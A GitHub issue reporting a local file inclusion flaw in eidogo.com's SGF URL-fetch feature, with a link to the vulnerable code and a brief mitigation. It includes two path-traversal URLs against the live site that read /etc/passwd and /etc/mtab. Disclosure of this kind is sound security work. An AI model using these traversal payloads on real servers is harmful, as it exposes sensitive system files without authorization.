Skip to content

LFI Vulnerability #32

@eitanshav

Description

@eitanshav

eidogo.com is vulnerable to LFI in the SGF file upload in "Fetch SGF from a URL".
A malicious actor can exploit this vulnerability to retrieve sensitive files that stored in the server

Here are examples exploiting this vulnerability:

  1. http://eidogo.com/backend/fetch.php?url=../../../../../etc/mtab
  2. http://eidogo.com/backend/fetch.php?url=../../../../../etc/passwd
  • Vulnerable code:

https://github.com/jkk/eidogo/blob/master/backend/upload.php#L32-#L37

  • Mitigation:

User controlled input must be sanitized.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions